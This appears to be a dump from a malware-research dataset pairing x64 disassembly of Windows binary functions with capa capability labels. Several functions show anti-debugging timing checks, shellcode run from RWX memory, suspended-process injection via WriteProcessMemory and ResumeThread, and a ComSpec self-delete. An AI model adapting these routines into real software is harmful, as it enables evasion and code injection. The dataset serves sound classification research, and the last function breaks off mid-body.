joyce8/EMBER2024-capa huggingface dataset:
Function at 0x26f493fe5
Capabilities:
Delete file

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rbx, rcx
mov rsi, rdx
test rcx, rcx
je 0x26f49412d
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x26f494053
mov edi, 0
mov ebp, 0
test rsi, rsi
je 0x26f494017
mov dword [rsi], edi
test ebp, ebp
je 0x26f49418e
mov r9d, ebp
and r9d, 0x3fffffff
test rbx, rbx
je 0x26f494182
mov r8, rbx
lea rdx, str.fs_file_delete
lea rcx, [0x26f4a1090]
call fcn.26f49a202
mov eax, ebp
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov r9d, eax
mov r8, rbx
lea rdx, str.fs_file_delete
lea rcx, str._E____s_____DeleteFileA_failed_path_s_gle_lu__n
call fcn.26f49a202
cmp edi, 0x20
ja 0x26f494098
ja case.0x26f49408f.1
mov eax, edi
lea rdx, [0x26f4a1ce4]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov ebp, edi
jmp 0x26f494010
cmp edi, 0x94
je 0x26f494146
jbe 0x26f4940d0
cmp edi, 0xb7
je 0x26f49416e
cmp edi, 0x80070005
je 0x26f494178
cmp edi, 0xaa
je 0x26f4940fb
mov ebp, 0x40000001
jmp 0x26f494010
cmp edi, 0x7f
ja 0x26f4940e9
cmp edi, 0x7e
jae 0x26f494150
cmp edi, 0x50
jne 0x26f49415a
mov ebp, 0x40000007
jmp 0x26f494010
cmp edi, 0x91
jne 0x26f494164
mov ebp, 0x4000000d
jmp 0x26f494010
mov ebp, 0x4000000d
jmp 0x26f494010
mov ebp, 0x40000003
jmp 0x26f494010
mov ebp, 0x40000009
jmp 0x26f494010
mov ebp, 0x4000000d
jmp 0x26f494010
mov ebp, 0x40000001
jmp 0x26f494010
mov edi, 0xa0
mov ebp, 0x40000001
jmp 0x26f494010
mov ebp, 0x40000008
jmp 0x26f494010
mov ebp, 0x4000000d
jmp 0x26f494010
mov ebp, 0x40000003
jmp 0x26f494010
mov ebp, 0x40000001
jmp 0x26f494010
mov ebp, 0x40000001
jmp 0x26f494010
mov ebp, 0x40000007
jmp 0x26f494010
mov ebp, 0x40000009
jmp 0x26f494010
lea rbx, [0x26f4a0fcb]
jmp 0x26f494032
mov r8, rbx
lea rdx, str.fs_file_delete
lea rcx, [0x26f4a1cc9]
call fcn.26f49a202
jmp 0x26f494048
Function at 0x26f4945b1
Capabilities:
Copy file

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
mov rsi, rdx
mov ebp, r8d
mov rdi, r9
test rcx, rcx
sete al
test rdx, rdx
sete dl
or al, dl
je 0x26f494641
mov r13d, 0xa0
mov r12d, 0x40000001
test rdi, rdi
je 0x26f4945ed
mov dword [rdi], r13d
test r12d, r12d
je 0x26f4947c5
mov eax, r12d
and eax, 0x3fffffff
test rsi, rsi
je 0x26f4947ad
test rbx, rbx
je 0x26f4947b9
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ebp
mov r9, rsi
mov r8, rbx
lea rdx, str.fs_file_copy
lea rcx, str._E____s_____Failed_src_s_dst_s_overwrite_d_err_08x__n
call fcn.26f49a202
mov eax, r12d
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
test r8d, r8d
sete r8b
movzx r8d, r8b
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x26f49466a
mov r13d, 0
mov r12d, 0
jmp 0x26f4945e5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r13d, eax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ebp
mov r9, rsi
mov r8, rbx
lea rdx, str.fs_file_copy
lea rcx, str._E____s_____CopyFileA_failed_src_s_dst_s_overwrite_d_gle_lu__n
call fcn.26f49a202
cmp r13d, 0x20
ja 0x26f4946bb
ja case.0x26f4946b1.1
mov eax, r13d
lea rdx, [0x26f4a1f38]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov r12d, r13d
jmp 0x26f4945e5
cmp r13d, 0x94
je 0x26f49476b
jbe 0x26f4946f8
cmp r13d, 0xb7
je 0x26f494797
cmp r13d, 0x80070005
je 0x26f4947a2
cmp r13d, 0xaa
je 0x26f494729
mov r12d, 0x40000001
jmp 0x26f4945e5
cmp r13d, 0x7f
ja 0x26f494715
cmp r13d, 0x7e
jae 0x26f494776
cmp r13d, 0x50
jne 0x26f494781
mov r12d, 0x40000007
jmp 0x26f4945e5
cmp r13d, 0x91
jne 0x26f49478c
mov r12d, 0x4000000d
jmp 0x26f4945e5
mov r12d, 0x4000000d
jmp 0x26f4945e5
mov r12d, 0x40000003
jmp 0x26f4945e5
mov r12d, 0x40000009
jmp 0x26f4945e5
mov r12d, 0x4000000d
jmp 0x26f4945e5
mov r12d, 0x40000001
jmp 0x26f4945e5
mov r12d, 0x40000008
jmp 0x26f4945e5
mov r12d, 0x4000000d
jmp 0x26f4945e5
mov r12d, 0x40000003
jmp 0x26f4945e5
mov r12d, 0x40000001
jmp 0x26f4945e5
mov r12d, 0x40000001
jmp 0x26f4945e5
mov r12d, 0x40000007
jmp 0x26f4945e5
mov r12d, 0x40000009
jmp 0x26f4945e5
lea rsi, [0x26f4a0fcb]
jmp 0x26f494607
lea rbx, [0x26f4a0fcb]
jmp 0x26f494610
mov dword [rsp + 0x20], ebp
mov r9, rsi
mov r8, rbx
lea rdx, str.fs_file_copy
lea rcx, str._I____s_____Done_src_s_dst_s_overwrite_d__n
call fcn.26f49a202
jmp 0x26f494631
Function at 0x26f49a202
Capabilities:
Copy file
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
mov eax, 0x4148
call fcn.26f49b1b0
sub rsp, rax
mov rbx, rcx
mov qword [rsp + 0x4178], rdx
mov qword [rsp + 0x4180], r8
mov qword [rsp + 0x4188], r9
lea rsi, [rsp + 0x130]
mov r8d, 0x4000
mov edx, 0
mov rcx, rsi
call sub.msvcrt.dll_memset
lea r9, [rsp + 0x4178]
mov qword [rsp + 0x4138], r9
mov r8, rbx
mov edx, 0x4000
mov rcx, rsi
call fcn.26f49b210
mov ebx, eax
lea eax, [rax - 1]
cmp eax, 0x3ffe
ja 0x26f49a2c0
cmp qword [0x26f4a8508], 0
je 0x26f49a384
lock add dword [0x26f4a83e0], ebx
mov eax, dword [0x26f4a83e0]
cmp eax, 0x3200000
jg 0x26f49a2cc
lea rcx, [rsp + 0x130]
mov r9, qword [0x26f4a8508]
movsxd r8, ebx
mov edx, 1
call sub.msvcrt.dll_fwrite
mov rcx, qword [0x26f4a8508]
call sub.msvcrt.dll_fflush
nop
add rsp, 0x4148
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov rcx, qword [0x26f4a8518]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x26f4a83e0]
cmp eax, 0x3200000
jg 0x26f49a303
mov eax, dword [0x26f4a83e0]
add eax, ebx
mov dword [0x26f4a83e0], eax
mov rcx, qword [0x26f4a8518]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x26f49a297
lea rdi, [rsp + 0x20]
mov ecx, 0x20
mov eax, 0
rep stosq qword [rdi], rax
mov dword [rdi], 0
lea rdi, [0x26f4a8400]
mov rcx, rdi
call sub.msvcrt.dll_strlen
mov rsi, rax
lea rbp, [rsp + 0x20]
mov rdx, rdi
mov rcx, rbp
call sub.msvcrt.dll_strcpy
mov byte [rsp + rsi + 0x20], 0x2e
mov byte [rsp + rsi + 0x21], 0x31
mov byte [rsp + rsi + 0x22], 0
mov r8d, 0
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov r8d, 0
mov edx, 0
mov rcx, qword [0x26f4a8508]
call sub.msvcrt.dll_fseek
mov dword [0x26f4a83e0], 0
jmp 0x26f49a2e6
mov ecx, 2
call qword [fcn.26f49e610]
mov r9, rax
lea rcx, [rsp + 0x130]
movsxd r8, ebx
mov edx, 1
call sub.msvcrt.dll_fwrite
jmp 0x26f49a2c0

Function at 0x26f49ad50
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x26f4a85e0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x26f4a85c0]
test rbx, rbx
je 0x26f49ad9c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x26f49ad96
test eax, eax
jne 0x26f49ad96
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x26f49ad6e
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x26f49af50
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x26f49af73
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x26f49af73
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x26f49af74
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x26f49afae
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x26f49afa5
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x26f49afb0
inc r8d
add rax, 0x28
jmp 0x26f49af8c
xor eax, eax
ret

Function at 0x26f49b021
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x26f4a4ff0]
mov r8, rcx
mov rcx, r9
call fcn.26f49af50
test eax, eax
je 0x26f49b04d
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.26f49af74
xor eax, eax
add rsp, 0x28
ret

Function at 0x1412d22d1
Capabilities:
Encode data using xor

Disassembly:
push qword [rsp + 0x38]
popfq
lea rsp, [rsp + 0x40]
call fcn.14144f6f8
Function at 0x1400289e4
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001c2f4
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001c2f4
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140028b34
cmp rax, 0xffffffffffffffff
je 0x140028b34
xor edi, edi
test rbp, rbp
jle 0x140028adf
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001ec08
mov rbx, rax
test rax, rax
jne 0x140028a6c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140028ad5
mov edx, 0x8000
mov ecx, r14d
call fcn.140019c58
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001cfd0
cmp eax, 0xffffffff
je 0x140028ab5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140028a7c
mov edx, r15d
mov ecx, r14d
call fcn.140019c58
jmp 0x140028ad5
cmp byte [rsi + 0x38], dil
je 0x140028acc
cmp dword [rsi + 0x34], 5
jne 0x140028acc
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140028ad5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001a9b8
jmp 0x140028b48
jns 0x140028b48
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001c2f4
cmp rax, 0xffffffffffffffff
jne 0x140028b00
cmp byte [rsi + 0x30], dil
je 0x140028b48
mov edi, dword [rsi + 0x2c]
jmp 0x140028b48
mov ecx, r14d
call fcn.14001878c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140028b48
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140028b48
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140028b41
mov eax, dword [rsi + 0x2c]
jmp 0x140028b46
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001c2f4
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140029c40
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140029c68
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140029c68
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140001b88
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001bd2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001bd2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001bd2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001bd2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001bd2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001bd4
xor al, al
add rsp, 0x28
ret
Function at 0x14000111c
Capabilities:
Execute anti-debugging instructions

Disassembly:
xor eax, eax
nop
cpuid
nop
mov eax, 1
nop
cpuid
nop
movabs r9, 0xb2d05e00
nop
cpuid
nop
rdtsc
nop
shl rdx, 0x20
nop
or rax, rdx
nop
mov rcx, rax
nop
fldpi
nop
frndint
nop
rdtsc
nop
shl rdx, 0x20
nop
or rax, rdx
nop
sub rax, rcx
nop
cmp rax, r9
nop
jb 0x140001149
nop
nop
push rbp
nop
mov rbp, rsp
nop
sub rsp, 8
nop
mov r10, 0xa
nop
mov rcx, 0xffffffff9f345678
nop
dec rcx
nop
xor r9, r9
nop
mov rax, rcx
nop
jne 0x140001182
nop
xor rax, rax
nop
mov rax, rbx
nop
add rax, rdx
nop
dec r10
nop
xor r11, r11
nop
jne 0x140001179
nop
xor rax, rax
mov rax, 0xa
nop
dec rax
nop
add rsp, 8
pop rbp
ret

Function at 0x140003a1e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0xa0
xor rcx, rcx
mov rdx, 0xaa97
mov r8, 0x1000
mov r9, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x140003b90
mov rdi, rax
call 0x140003a55
pop rsi
add rsi, 0x18a9b
mov rcx, 0xaa97
rep movsb byte [rdi], byte [rsi]
call rax
int3
sbb byte [rax - 0x75], cl
retf
Function at 0x1400012dc
Capabilities:
Contain obfuscated stackstrings
Encrypt data using rc4 prga
Encrypt data using salsa20 or chacha

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x4f]
sub rsp, 0xb0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x17], rax
mov r13, qword [rbp + 0x77]
lea rdx, [rcx + 2]
mov r10, r8
mov dword [rbp - 0x69], 0x61707865
lea r8, [rbp - 0x5b]
mov dword [rbp - 0x65], 0x3320646e
mov r15, r9
mov dword [rbp - 0x61], 0x79622d32
sub r8, rcx
mov dword [rbp - 0x5d], 0x6b206574
mov r9d, 8
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx - 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx - 2]
shl ecx, 8
or ecx, eax
mov dword [r8 + rdx], ecx
lea rdx, [rdx + 4]
sub r9, 1
jne 0x140001344
lea r8, [rbp - 0x37]
mov dword [rbp - 0x39], 0x13
sub r8, r10
lea rdx, [r10 + 2]
mov r9d, 3
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx - 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx - 2]
shl ecx, 8
or ecx, eax
mov dword [r8 + rdx], ecx
lea rdx, [rdx + 4]
sub r9, 1
jne 0x140001388
movsxd rax, dword [rbp + 0x7f]
xor ebx, ebx
mov r12, rax
test eax, eax
jle 0x14000142b
lea rdi, [rbp - 0x29]
lea r14d, [rax - 1]
sub rdi, r15
shr r14d, 6
lea esi, [rbx + 0x40]
inc r14d
lea rdx, [rbp - 0x29]
lea rcx, [rbp - 0x69]
call fcn.140001000
inc dword [rbp - 0x39]
cmp rbx, rsi
jge 0x140001419
mov r8, r13
lea rcx, [rbx + r15]
sub r8, r15
mov rdx, r15
neg rdx
lea rax, [rdx + rcx]
cmp rax, r12
jge 0x140001419
mov al, byte [rdi + rcx]
xor al, byte [rcx]
mov byte [r8 + rcx], al
inc rcx
lea rax, [rdx + rcx]
cmp rax, rsi
jl 0x1400013fb
add rsi, 0x40
add rbx, 0x40
sub rdi, 0x40
sub r14, 1
jne 0x1400013d6
mov rcx, qword [rbp + 0x17]
xor rcx, rsp
call fcn.140002b90
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x140001f4c
Capabilities:
Create process on windows
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x570]
sub rsp, 0x670
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x560], rax
mov ebx, 0x208
lea rcx, [rbp + 0x140]
mov r8d, ebx
xor edx, edx
call fcn.140003d50
mov r8d, ebx
lea rcx, [rbp + 0x350]
xor edx, edx
call fcn.140003d50
mov r8d, ebx
lea rcx, [rsp + 0x30]
xor edx, edx
call fcn.140003d50
mov rax, qword [0x140019d68]
lea rdx, [rbp + 0x140]
mov ebx, 0x104
xor ecx, ecx
mov r8d, ebx
call qword [rax + 0x40]
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x350]
call qword [sym.imp.SHLWAPI.dll_PathCanonicalizeW]
lea r8, str._c_DEL
mov edx, ebx
lea rcx, [rsp + 0x30]
call fcn.140004880
lea r8, [rbp + 0x350]
mov edx, ebx
lea rcx, [rsp + 0x30]
call fcn.140004904
lea r8, str.____NUL
mov edx, ebx
lea rcx, [rsp + 0x30]
call fcn.140004904
mov r8d, ebx
lea rdx, [rbp + 0x140]
lea rcx, str.ComSpec
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
and dword [rsp + 0x28], 0
lea r9, [rsp + 0x30]
and qword [rsp + 0x20], 0
lea r8, [rbp + 0x140]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [rbp + 0x560]
xor rcx, rsp
call fcn.140002b90
mov rbx, qword [rsp + 0x680]
add rsp, 0x670
pop rbp
ret
Function at 0x1400023ac
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5c8]
sub rsp, 0x6c8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x5b0], rax
mov esi, r8d
mov r13, rdx
mov r15, rcx
mov ebx, 0x208
mov r8d, ebx
lea rcx, [rbp + 0x3a0]
xor edx, edx
mov r12, r9
xor r14d, r14d
call fcn.140003d50
and dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x190]
mov r8d, ebx
xor edx, edx
call fcn.140003d50
lea r8, [rsp + 0x50]
mov ecx, esi
lea rdx, [rbp + 0x190]
call fcn.140002068
test eax, eax
je 0x140002599
mov r8d, ebx
lea rcx, [rbp - 0x80]
xor edx, edx
call fcn.140003d50
mov ebx, 0x104
lea rcx, [rbp - 0x80]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rdx, [rbp + 0x190]
lea rcx, [rbp - 0x80]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea r8, [rbp - 0x80]
mov edx, ebx
lea rcx, [rbp + 0x3a0]
call fcn.140004880
and qword [rsp + 0x30], r14
lea r8d, [r14 + 3]
mov dword [rsp + 0x28], 0x80
lea rcx, [rbp + 0x3a0]
xor r9d, r9d
mov dword [rsp + 0x20], r8d
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000259e
and qword [rsp + 0x58], r14
lea edi, [r14 + 2]
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x58]
mov rax, qword [0x140019d68]
xor r9d, r9d
mov dword [rsp + 0x28], 0x1000000
xor r8d, r8d
mov edx, 0xf001f
mov dword [rsp + 0x20], edi
call qword [rax + 8]
test eax, eax
js 0x14000259e
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x70]
and qword [rsp + 0x60], r14
lea r8, [rsp + 0x60]
and qword [rsp + 0x70], r14
xor r9d, r9d
mov dword [rsp + 0x48], edi
mov rdx, r15
and dword [rsp + 0x40], r14d
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rax
mov rax, qword [0x140019d68]
and qword [rsp + 0x28], r14
and qword [rsp + 0x20], r14
call qword [rax + 0x10]
test eax, eax
js 0x14000259e
mov edi, dword [rsp + 0x50]
lea rax, [rsp + 0x54]
add rdi, qword [rsp + 0x60]
lea r9d, [r14 + 0x40]
and dword [rsp + 0x54], r14d
mov rdx, rdi
mov r8d, esi
mov qword [rsp + 0x20], rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x14000259e
and qword [rsp + 0x68], r14
lea rax, [rsp + 0x68]
mov r9d, esi
mov qword [rsp + 0x20], rax
mov r8, r13
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000259e
cmp qword [rsp + 0x68], rsi
jne 0x14000259e
mov qword [r12], rdi
mov r14d, 1
jmp 0x14000259e
mov rbx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x1400025b2
mov rdx, qword [0x140019d68]
call qword [rdx + 0x18]
cmp rbx, 0xffffffffffffffff
je 0x1400025c1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r14d
mov rcx, qword [rbp + 0x5b0]
xor rcx, rsp
call fcn.140002b90
add rsp, 0x6c8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x1400025e8
Capabilities:
Create process on windows
Create process suspended

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xe0
mov rsi, rdx
mov rdi, r8
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x50]
lea r8d, [rdx + 0x18]
call fcn.140003d50
mov ebp, 0x68
lea rcx, [rsp + 0x70]
mov r8d, ebp
xor edx, edx
call fcn.140003d50
lea rax, [rsp + 0x50]
mov dword [rsp + 0x70], ebp
mov qword [rsp + 0x48], rax
xor ebp, ebp
lea rax, [rsp + 0x70]
mov word [rsp + 0xb0], bp
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rbp
xor r8d, r8d
mov qword [rsp + 0x30], rbp
xor edx, edx
mov dword [rsp + 0x28], 0x800000c
mov rcx, rbx
mov dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140002689
mov rcx, qword [rsp + 0x50]
mov qword [rsi], rcx
mov rcx, qword [rsp + 0x58]
mov qword [rdi], rcx
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x1400028e8
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rsi
mov qword [rsp + 0x10], r14
push rbp
mov rbp, rsp
sub rsp, 0x40
and qword [rbp + 0x28], 0
mov rax, r8
and qword [rbp - 0x20], 0
lea r8, [rbp - 0x20]
and qword [rbp - 0x10], 0
mov esi, edx
and qword [rbp - 0x18], 0
lea rdx, [rbp + 0x28]
mov r14, rcx
mov rcx, rax
call fcn.1400025e8
test eax, eax
je 0x140002971
mov rcx, qword [rbp + 0x28]
lea rdx, [rbp - 0x10]
call fcn.1400026a4
test eax, eax
je 0x140002971
mov rcx, qword [rbp + 0x28]
lea r9, [rbp - 0x18]
mov r8d, esi
mov rdx, r14
call fcn.1400023ac
test eax, eax
je 0x140002971
mov r8, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x10]
mov rcx, qword [rbp + 0x28]
call fcn.1400027dc
test eax, eax
je 0x140002971
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp qword [rbp - 0x20], 0
je 0x140002982
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x28], 0
je 0x140002993
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x50]
mov r14, qword [rsp + 0x58]
add rsp, 0x40
pop rbp
ret
Function at 0x140005820
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x1400055f4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400055f4
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400055f4
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400055f4
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400055f4
cmp dword [rcx + 0x84], 0xe
jbe 0x1400055f4
cmp dword [rcx + 0xf8], esi
je 0x1400055f4
mov ecx, r14d
call fcn.14000573c
mov ecx, 2
call fcn.14000828c
nop
cmp byte [0x140019498], 0
jne 0x1400056be
mov r15d, 1
mov eax, r15d
xchg dword [0x140019488], eax
test ebx, ebx
jne 0x140005667
mov rdi, qword [section..data]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140019490]
cmp rcx, rax
je 0x14000565e
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.14000343c]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x1400194d8]
jmp 0x140005673
cmp ebx, r15d
jne 0x140005679
lea rcx, [0x1400194f0]
call fcn.140005d68
nop
test ebx, ebx
jne 0x140005690
lea rdx, [0x14000e378]
lea rcx, [0x14000e358]
call fcn.1400054b4
lea rdx, [0x14000e388]
lea rcx, [0x14000e380]
call fcn.1400054b4
movzx eax, byte [0x140019498]
test esi, esi
cmove eax, r15d
mov byte [0x140019498], al
jmp 0x1400056be
mov ecx, 2
call fcn.1400082e0
test esi, esi
jne 0x1400056d5
mov ecx, r14d
call fcn.1400056f0
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x140005584
Function at 0x140001700
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rcx
movabs rsi, 0x7ffffffed5fa0dff
movabs rbp, 0x12a05f200
movabs rdi, 0x7fffffffffffffff
nop dword [rax]
nop dword [rax + rax]
mov rax, qword [rbx]
lea rdx, [rsp + 0x30]
mov r9d, 2
mov r8d, 1
mov rcx, qword [rax]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x140001783
cmp eax, 0xffffffff
jne 0x140001797
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
jne 0x140001797
mov r9, qword [rbx + 0x18]
mov r8, qword [rbx + 0x10]
mov rdx, qword [rbx + 8]
